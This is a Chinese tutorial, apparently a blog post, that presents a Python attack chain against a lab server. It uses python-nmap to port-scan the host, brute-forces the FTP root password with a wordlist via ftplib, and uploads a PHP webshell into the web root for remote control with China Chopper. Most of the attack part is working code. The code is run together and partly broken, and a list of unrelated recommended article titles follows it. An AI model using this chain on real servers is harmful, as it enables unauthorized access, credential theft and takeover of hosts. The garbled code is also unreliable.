一、端口扫描

首先安装nmap与python-nmap模块。从http://nmap.org/download.html网站下载nmap安装文件。从http://xael.org/norman/python/python-nmap网站下载python-nmap模块安装文件。

1.代码。

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import sys
import os
import nmap
import socketnm = nmap.PortScanner()nm.scan = ('192.168.139.128', '1-1024')for host in nm.all_hosts():print('-------------------------')print('host : {0} ({1})'.format(host, nm[host].hostname()))print('State : {0}'.format(nm[host].state()))for proto in nm[host].all_protocols():print('--------------')print('Protocol : {0}'.format(proto))lport = list(nm[host][proto].keys())lport.sort()for port in lport:print('port : {0}\tstate : {1}'.format(port, nm[host][proto][port]))print('----------------------------')

端口扫描原理是黑客pc向服务器pc发送多种协议的数据包,观察服务器pc的响应行为。若服务器pc给黑客pc返回某类数据包则证明服务器pc开放支持这种协议的端口!出了用python代码调用nmap扫描端口外,你可以直接在命令行使用nmap,这样更方便快捷!
nmap命令及参数
nmap:

     -sS  半开扫描TCP和SYN扫描-sT  完全TCP链接扫描-sU  UDP扫描-PS  sym包探测(防火墙探测)-PA  ack包探测 (防火墙探测)-PN  不ping-n  不dns解析-A -O和-sV-O  操作系统识别-sV  服务器版本信息(banner)-P  端口扫描-T  设置时间级别(0-5)-iL  导入扫描将结果-oG  输出扫描结果

2.测试。

使用Windows对Linux主机进行端口扫描。

查看服务器操作系统。

二、爆破ftp密码。

通过端口扫描我们看出此服务器开放21端口用来支持ftp协议(文件传输协议),ftp服务后台设置中通常不会检查密码输错次数,所以我们可以使用python提供的ftplib模块,爆破ftp密码。假设用户名已知,实际大多数用户都会使用默认的root用户名!

1.代码。

#!/usr/bin/python
# -*- coding: UTF-8 -*-
from ftplib import FTPword = open('C:\Users\lenovo\Desktop\w.txt','r')
user_login = "root"def getPassword(password):try:ftp = FTP("192.168.204.129")ftp.login(user_login,password)print("user password:",password)return Trueexcept Exception:return Falsepasswords = word.readlines()
for password in passwords:password = password.strip()print("test password:",password)if(getPassword(password)): break
word.close()

首先需要创建一个w.txt字典文件,打开w.txt文件,声明getPassword()函数,用于连接FTP服务器,并尝试登录,使用root用户名和字典密码登录。若正常登录,则执行下一条语句,否则触发异常!再使用for循环遍历字典,调用getPassword()函数,若正常登录则返回True,结束循环!

2.测试。

爆破Linux ftp服务密码。

三、上传webshell。

使用爆破出来的密码登录ftp服务器,上传webshell。功能强大的webshell可以实现远程控制主机。

1.代码。

#!/usr/bin/python
# -*- coding: UTF-8 -*-
from ftplib import FTPapacheDir = "html"
serverName = '192.168.204.129'
serverID = 'root'
serverPW = 'toor'ftp = FTP(serverName,serverID,serverPW)ftp.cwd("/var/www/html/")fp = open("C:\Users\lenovo\Desktop\webshell.php","rb")
ftp.storbinary("STOR webshell.php",fp)fp.close()
ftp.quit()

首先登录ftp服务器,再转到web安装目录,然后打开webshell文件,最后使用ftp.storbinary(“STOR webshell.php”,fp)上传webshell文件到web安装目录!

2.测试。

运行代码上传文件

在服务器端进入web安装目录,可以看到webshell文件成功上传,然后使用中国菜刀连接。

python——利用nmap进行端口扫描,爆破ftp密码,上传wellshell.相关推荐

  1. Python使用nmap进行端口扫描

    nmap安装文件下载地址:https://nmap.org/download.html Python 3.x版本的nmap http://xael.org/norman/python/python-n ...

  2. Linux使用445端口,利用enum4linux 445端口+wordpress插件任意文件上传的一次渗透

    探测内网80端口发现目标IP 目标使用Apache  2.4.7web服务中间件 使用linux    Ubuntu系统 使用御剑扫描了目录 目录扫描到了 对192.168.31.236/wordpr ...

  3. ftp服务器可以异地传文件吗,FTP图片上传到异地服务器

    #region 创建文件夹  MakeFolder() /// /// 创建文件夹 /// /// 例如:/newDir /// ftp地址(可带目录) /// ftp用户名 /// ftp密码 pu ...

  4. 使用Nmap进行端口扫描和服务识别

    使用Nmap进行端口扫描和服务识别 第1章            Nmap的简介[1] Nmap ("Network Mapper(网络映射器)") 是一款开放源代码的 网络探测和 ...

  5. php 根据ip 扫描端口,python实现指定ip端口扫描方式

    在Linux中判断一台主机是否可达,可以使用ping命令,而判断端口是否打开,可以使用telnet命令,但是telnet命令没有超时时间的参数,使用起来不是很方便,那么可以利用Python来完成一个端 ...

  6. ★Kali信息收集★8.Nmap :端口扫描

    Kali信息收集~ 0.Httrack 网站复制机 http://www.cnblogs.com/dunitian/p/5061954.html Kali信息收集~ 1.Google Hacking ...

  7. python实现指定ip端口扫描

    在Linux中判断一台主机是否可达,可以使用ping命令,而判断端口是否打开,可以使用telnet命令,但是telnet命令没有超时时间的参数,使用起来不是很方便,那么可以利用Python来完成一个端 ...

  8. Python利用matplotlib制作雷达扫描显示仪(之后可结合串口和超声波传感器使用,亦可以做为仪表盘使用)

    Python利用matplotlib制作雷达扫描显示仪(之后可结合串口和超声波传感器使用,亦可以做为仪表盘使用).内有制作雷达扫描GIF图的源代码包含. ''' matplotlib雷达扫描 ''' ...

  9. python利用asyncore的端口映射(端口转发)的代码

    如下代码是关于python利用asyncore的端口映射(端口转发)的代码. import socket,asyncore class forwarder(asyncore.dispatcher): ...

最新文章

  1. freeCodeCamp:Find the Longest Word in a String
  2. 《中国人工智能学会通讯》——10.22 能源互联网时代
  3. matlab 寻找二进制图像边缘
  4. FS,FT,DFT,DFS和DTFT的关系
  5. python系统学习1-程序设计的基本方法
  6. Blazor+Dapr+K8s微服务之基于WSL安装K8s集群并部署微服务
  7. Duration(2020多校第二场D)
  8. Laynews内核仿阿怪资源娱乐网源码
  9. [Web Chart系列之三] 图形布局-Layout
  10. uni-app:uni.navigateTo 封装页面跳转传参
  11. rpg存档修改网站_Switch上国宝级欧美版RPG游戏推荐
  12. 第二单元 用python学习微积分(十六)定积分
  13. Log4j.properties 属性详解以及 LOG4J日志级别详解
  14. 在matlab中字母的小写转换成大写字母,wps文字怎么将大写字母转换成小写字母
  15. ffmpeg一些基本用法
  16. 怎么禁用计算机上的自动播放,关闭自动播放,小编教你Win7怎么关闭自动播放功能...
  17. 第1章 Java基本概念及环境配置——FAQ1.05 Java SE. Java EE和Java ME有什么区别?
  18. 个人自我介绍快闪风格PPT模板
  19. 如何从后面截取字符串 String.slice()
  20. java 中常用框架、intell idea简单使用、爬虫系统

热门文章

  1. JS实现QQ面板-拖曳效果
  2. 负载均衡 反向代理为何叫反向代理?
  3. Asp.Net 简繁转换
  4. JAVA2048感受心得_2048游戏心得大分享 不看你就OUT啦
  5. 打车软件的未来发展方向
  6. LCD背光驱动 --Backlight
  7. 月份加日期前面用on还是in_英语当中,年月日前加哪个介词on还是in;月日/年月的话呢?...
  8. HTML基础-html标签、标签属性及核心功能
  9. 单调有界定理适用于函数吗_实数系的连续性定理
  10. 在Abaqus中使用f90格式的子程序